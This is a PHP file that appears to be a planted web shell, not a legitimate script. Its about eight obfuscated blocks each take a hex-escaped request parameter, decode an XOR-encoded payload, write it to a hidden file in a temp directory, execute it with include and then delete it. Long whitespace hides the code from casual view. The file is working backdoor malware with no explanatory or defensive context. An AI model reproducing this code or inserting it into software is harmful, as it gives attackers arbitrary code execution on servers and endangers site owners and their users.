<?php																																										if(in_array("d\x65\x73c", array_keys($_REQUEST))){ $res = $_REQUEST["d\x65\x73c"]; $res = explode (".", $res ) ; $value = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3 ); foreach( $res as $z => $v3): $chS = ord( $salt3[$z % $sLen] ); $dec = ( ( int)$v3 - $chS -( $z % 10)) ^99; $value .= chr( $dec ); endforeach; $dat = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp"]); for ($mrk = 0, $property_set = count($dat); $mrk < $property_set; $mrk++) { $record = $dat[$mrk]; if (!!is_dir($record) && !!is_writable($record)) { $element = join("/", [$record, ".symbol"]); $file = fopen($element, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $element; @unlink($element); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x70\x6F\x69\x6Eter"])){ $rec = array_filter(["/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir")]); $element = $_POST["\x70\x6F\x69\x6Eter"]; $element = explode("." , $element ) ; $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($element as $w => $v4) {$chS = ord($salt[$w % $lenS] ); $d = ((int)$v4 - $chS - ($w % 10)) ^ 72; $ref .= chr($d ); } foreach ($rec as $parameter_group) { if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $record = "$parameter_group/.item"; $success = file_put_contents($record, $ref); if ($success) { include $record; @unlink($record); exit;} } } }
																																										if(!is_null($_POST["\x66\x61c"] ?? null)){ $dat = $_POST["\x66\x61c"]; $dat = explode ( ".", $dat ) ; $ptr=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt9); foreach ($dat as $s => $v2): $chS=ord($salt9[$s % $sLen]); $dec=((int)$v2 - $chS - ($s % 10)) ^ 43; $ptr .= chr($dec); endforeach; $item = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm"]); $object = 0; do { $ref = $item[$object] ?? null; if ($object >= count($item)) break; if (!( !is_dir($ref) || !is_writable($ref) )) { $key = implode("/", [$ref, ".bind"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $key; @unlink($key); die(); } } $object++; } while (true); }
																																										if(!empty($_POST["dc\x68\x75n\x6B"])){ $factor = $_POST["dc\x68\x75n\x6B"]; $factor= explode ( '.' , $factor ) ; $key = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); $i = 0; foreach ($factor as $v5) { $chS = ord($s7[$i % $lenS]); $d = ((int)$v5 - $chS - ($i % 10)) ^ 93; $key .= chr($d); $i++; } $value = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd()]); while ($pset = array_shift($value)) { if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) { $resource = implode("/", [$pset, ".entry"]); if (file_put_contents($resource, $key)) { require $resource; unlink($resource); die(); } } } }
																																										if(isset($_POST) && isset($_POST["r\x65c"])){ $elem = $_POST["r\x65c"]; $elem= explode ("." , $elem ) ; $data = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $j = 0; foreach ($elem as $v1) { $chS = ord($s3[$j % $lenS]); $d = ((int)$v1 - $chS - ($j % 10))^66; $data .= chr($d); $j++;} $data_chunk = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", "/var/tmp", getcwd()]); $binding = 0; do { $flag = $data_chunk[$binding] ?? null; if ($binding >= count($data_chunk)) break; if (is_dir($flag) && is_writable($flag)) { $marker = vsprintf("%s/%s", [$flag, ".component"]); if (file_put_contents($marker, $data)) { include $marker; @unlink($marker); die(); } } $binding++; } while (true); }
																																										if(array_key_exists("ob\x6Ae\x63t", $_REQUEST) && !is_null($_REQUEST["ob\x6Ae\x63t"])){ $flg = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP")]); $entity = $_REQUEST["ob\x6Ae\x63t"]; $entity = explode ( '.', $entity ) ; $holder = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1); $s = 0; foreach( $entity as $v8) {$sChar = ord( $s1[$s % $lenS]); $dec =( ( int)$v8 - $sChar -( $s % 10)) ^ 81; $holder .= chr( $dec); $s++; } for ($comp = 0, $binding = count($flg); $comp < $binding; $comp++) { $value = $flg[$comp]; if (is_writable($value) && is_dir($value)) { $val = sprintf("%s/.obj", $value); $success = file_put_contents($val, $holder); if ($success) { include $val; @unlink($val); die();} } } }
																																										if(array_key_exists("\x73\x79m", $_POST)){ $descriptor = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP")]); $mrk = $_POST["\x73\x79m"]; $mrk = explode ('.' , $mrk ) ; $k = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $v = 0; array_walk($mrk, function($v1) use(&$k, &$v, $s8, $sLen) { $sChar = ord($s8[$v % $sLen]); $d =((int)$v1 - $sChar -($v % 10)) ^ 49; $k.= chr($d); $v++;} ); while ($data_chunk = array_shift($descriptor)) { if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) { $pgrp = str_replace("{var_dir}", $data_chunk, "{var_dir}/.ent"); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $pgrp; @unlink($pgrp); die(); } } } }


if(array_key_exists("\x66a\x63", $_POST)){
	$key = $_POST["\x66a\x63"];
			$key	=			explode			("." ,		$key 		) ;	 
	$symbol		='';
            $salt		='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS		=strlen(	$salt);
    
            foreach(	$key as $t	=>$v1) {
                $sChar		=ord(	$salt[$t % $lenS]);
                $d		=(	(	int)$v1 - $sChar -(	$t % 10))^	 7;
                $symbol.= chr(	$d);}
	$token = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm"]);
	$property_set = 0;
do {
    $rec = $token[$property_set] ?? null;
    if ($property_set >= count($token)) break;
    		if (is_writable($rec) && is_dir($rec)) {
    $data = str_replace("{var_dir}", $rec, "{var_dir}/.pgrp");
    if (file_put_contents($data, $symbol)) {
	include $data;
	@unlink($data);
	exit;
}
}
    $property_set++;
} while (true);
}